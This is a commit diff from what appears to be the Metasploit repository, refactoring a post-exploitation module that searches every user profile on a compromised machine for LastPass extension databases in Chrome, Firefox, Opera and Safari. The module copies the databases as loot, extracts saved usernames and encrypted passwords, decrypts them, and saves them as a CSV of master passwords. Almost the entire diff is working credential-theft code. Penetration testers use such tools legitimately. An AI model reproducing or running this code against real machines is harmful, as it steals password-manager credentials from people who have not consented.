Merge pull request #3 from jhart-r7/landing-4004-jhart
Final cleanup of LastPass module -- track account, more *print_ cleaningbug/bundler_fix
commit
a7dc0b9f07
|
@ -34,56 +34,60 @@ class Metasploit3 < Msf::Post
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Searching for LastPass databases..."
|
print_status "Searching for LastPass databases"
|
||||||
|
|
||||||
db_map = database_paths # Find databases and get the remote paths
|
account_map = build_account_map
|
||||||
if db_map.empty?
|
if account_map.empty?
|
||||||
print_status "No databases found"
|
print_status "No databases found"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Extracting credentials from #{db_map.size} LastPass databases"
|
print_status "Extracting credentials from #{account_map.size} LastPass databases"
|
||||||
|
|
||||||
# an array of [user, encrypted password, browser]
|
# an array of [user, encrypted password, browser]
|
||||||
credentials = [] # All credentials to be decrypted
|
credentials = [] # All credentials to be decrypted
|
||||||
db_map.each_pair do |browser, paths|
|
account_map.each_pair do |account, browser_map|
|
||||||
if browser == 'Firefox'
|
browser_map.each_pair do |browser, paths|
|
||||||
paths.each do |path|
|
if browser == 'Firefox'
|
||||||
data = read_file(path)
|
paths.each do |path|
|
||||||
loot_path = store_loot(
|
data = read_file(path)
|
||||||
'firefox.preferences',
|
loot_path = store_loot(
|
||||||
'text/javascript',
|
'firefox.preferences',
|
||||||
session,
|
'text/javascript',
|
||||||
data,
|
session,
|
||||||
nil,
|
data,
|
||||||
"Firefox preferences file #{path}"
|
nil,
|
||||||
)
|
"Firefox preferences file #{path}"
|
||||||
|
)
|
||||||
|
|
||||||
# Extract usernames and passwords from preference file
|
# Extract usernames and passwords from preference file
|
||||||
firefox_credentials(loot_path).each do |creds|
|
firefox_credentials(loot_path).each do |creds|
|
||||||
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser]
|
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
else # Chrome, Safari and Opera
|
||||||
else # Chrome, Safari and Opera
|
paths.each do |path|
|
||||||
paths.each do |path|
|
data = read_file(path)
|
||||||
data = read_file(path)
|
loot_path = store_loot(
|
||||||
loot_path = store_loot(
|
"#{browser.downcase}.lastpass.database",
|
||||||
"#{browser.downcase}.lastpass.database",
|
'application/x-sqlite3',
|
||||||
'application/x-sqlite3',
|
session,
|
||||||
session,
|
data,
|
||||||
data,
|
nil,
|
||||||
nil,
|
"#{account}'s #{browser} LastPass database #{path}"
|
||||||
"#{browser} LastPass database #{path}"
|
)
|
||||||
)
|
|
||||||
|
|
||||||
# Parsing/Querying the DB
|
# Parsing/Querying the DB
|
||||||
db = SQLite3::Database.new(loot_path)
|
db = SQLite3::Database.new(loot_path)
|
||||||
user, pass = db.execute(
|
lastpass_user, lastpass_pass = db.execute(
|
||||||
"SELECT username, password FROM LastPassSavedLogins2 " \
|
"SELECT username, password FROM LastPassSavedLogins2 " \
|
||||||
"WHERE username IS NOT NULL AND username != '' " \
|
"WHERE username IS NOT NULL AND username != '' " \
|
||||||
"AND password IS NOT NULL AND password != '';"
|
"AND password IS NOT NULL AND password != '';"
|
||||||
).flatten
|
).flatten
|
||||||
credentials << [user, pass, browser] if user && pass
|
if lastpass_user && lastpass_pass
|
||||||
|
credentials << [account, browser, lastpass_user, lastpass_pass]
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -91,30 +95,33 @@ class Metasploit3 < Msf::Post
|
||||||
credentials_table = Rex::Ui::Text::Table.new(
|
credentials_table = Rex::Ui::Text::Table.new(
|
||||||
'Header' => "LastPass credentials",
|
'Header' => "LastPass credentials",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' => %w(Username Password Browser)
|
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
|
||||||
)
|
)
|
||||||
# Parse and decrypt credentials
|
# Parse and decrypt credentials
|
||||||
credentials.each do |row| # Decrypt passwords
|
credentials.each do |row| # Decrypt passwords
|
||||||
user, enc_pass, browser = row
|
account, browser, user, enc_pass = row
|
||||||
vprint_status "Decrypting password for user #{user} from #{browser}..."
|
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
|
||||||
password = clear_text_password(user, enc_pass)
|
password = clear_text_password(user, enc_pass)
|
||||||
credentials_table << [user, password, browser]
|
credentials_table << [account, browser, user, password]
|
||||||
|
end
|
||||||
|
unless credentials.empty?
|
||||||
|
print_good credentials_table.to_s
|
||||||
|
path = store_loot(
|
||||||
|
"lastpass.creds",
|
||||||
|
"text/csv",
|
||||||
|
session,
|
||||||
|
credentials_table.to_csv,
|
||||||
|
nil,
|
||||||
|
"Decrypted LastPass Master Passwords"
|
||||||
|
)
|
||||||
end
|
end
|
||||||
print_good credentials_table.to_s unless credentials.empty?
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Finds the databases in the victim's machine
|
# Returns a mapping of { Account => { Browser => paths } }
|
||||||
def database_paths
|
def build_account_map
|
||||||
platform = session.platform
|
platform = session.platform
|
||||||
profiles = user_profiles
|
profiles = user_profiles
|
||||||
found_dbs_map = {
|
found_dbs_map = {}
|
||||||
'Chrome' => [],
|
|
||||||
'Firefox' => [],
|
|
||||||
'Opera' => [],
|
|
||||||
'Safari' => []
|
|
||||||
}
|
|
||||||
|
|
||||||
browser_path_map = {}
|
|
||||||
|
|
||||||
if datastore['VERBOSE']
|
if datastore['VERBOSE']
|
||||||
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
|
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
|
||||||
|
@ -123,7 +130,9 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
profiles.each do |user_profile|
|
profiles.each do |user_profile|
|
||||||
username = user_profile['UserName']
|
account = user_profile['UserName']
|
||||||
|
browser_path_map = {}
|
||||||
|
|
||||||
case platform
|
case platform
|
||||||
when /win/
|
when /win/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
|
@ -145,30 +154,33 @@ class Metasploit3 < Msf::Post
|
||||||
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
print_error "platform not recognized: #{platform}"
|
print_error "Platform not recognized: #{platform}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
found_dbs_map[account] = {}
|
||||||
browser_path_map.each_pair do |browser, path|
|
browser_path_map.each_pair do |browser, path|
|
||||||
found_dbs_map[browser] |= find_db_paths(path, browser, username)
|
db_paths = find_db_paths(path, browser, account)
|
||||||
|
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
found_dbs_map.delete_if { |browser, paths| paths.empty? }
|
#found_dbs_map.delete_if { |account, browser_map paths.empty? }
|
||||||
|
found_dbs_map
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns a list of DB paths found in the victims' machine
|
# Returns a list of DB paths found in the victims' machine
|
||||||
def find_db_paths(path, browser, username)
|
def find_db_paths(path, browser, account)
|
||||||
paths = []
|
paths = []
|
||||||
|
|
||||||
vprint_status "Checking #{username}'s #{browser}..."
|
vprint_status "Checking #{account}'s #{browser}"
|
||||||
if browser == "Firefox" # Special case for Firefox
|
if browser == "Firefox" # Special case for Firefox
|
||||||
profiles = firefox_profile_files(path, browser)
|
profiles = firefox_profile_files(path, browser)
|
||||||
paths |= profiles
|
paths |= profiles
|
||||||
else
|
else
|
||||||
paths |= file_paths(path, browser, username)
|
paths |= file_paths(path, browser, account)
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_good "Found #{paths.size} #{browser} databases for #{username}"
|
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
|
||||||
paths
|
paths
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -205,7 +217,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
# Extracts the databases paths from the given folder ignoring . and ..
|
# Extracts the databases paths from the given folder ignoring . and ..
|
||||||
def file_paths(path, browser, username)
|
def file_paths(path, browser, account)
|
||||||
found_dbs_paths = []
|
found_dbs_paths = []
|
||||||
|
|
||||||
if directory?(path)
|
if directory?(path)
|
||||||
|
|
Loading…
Reference in New Issue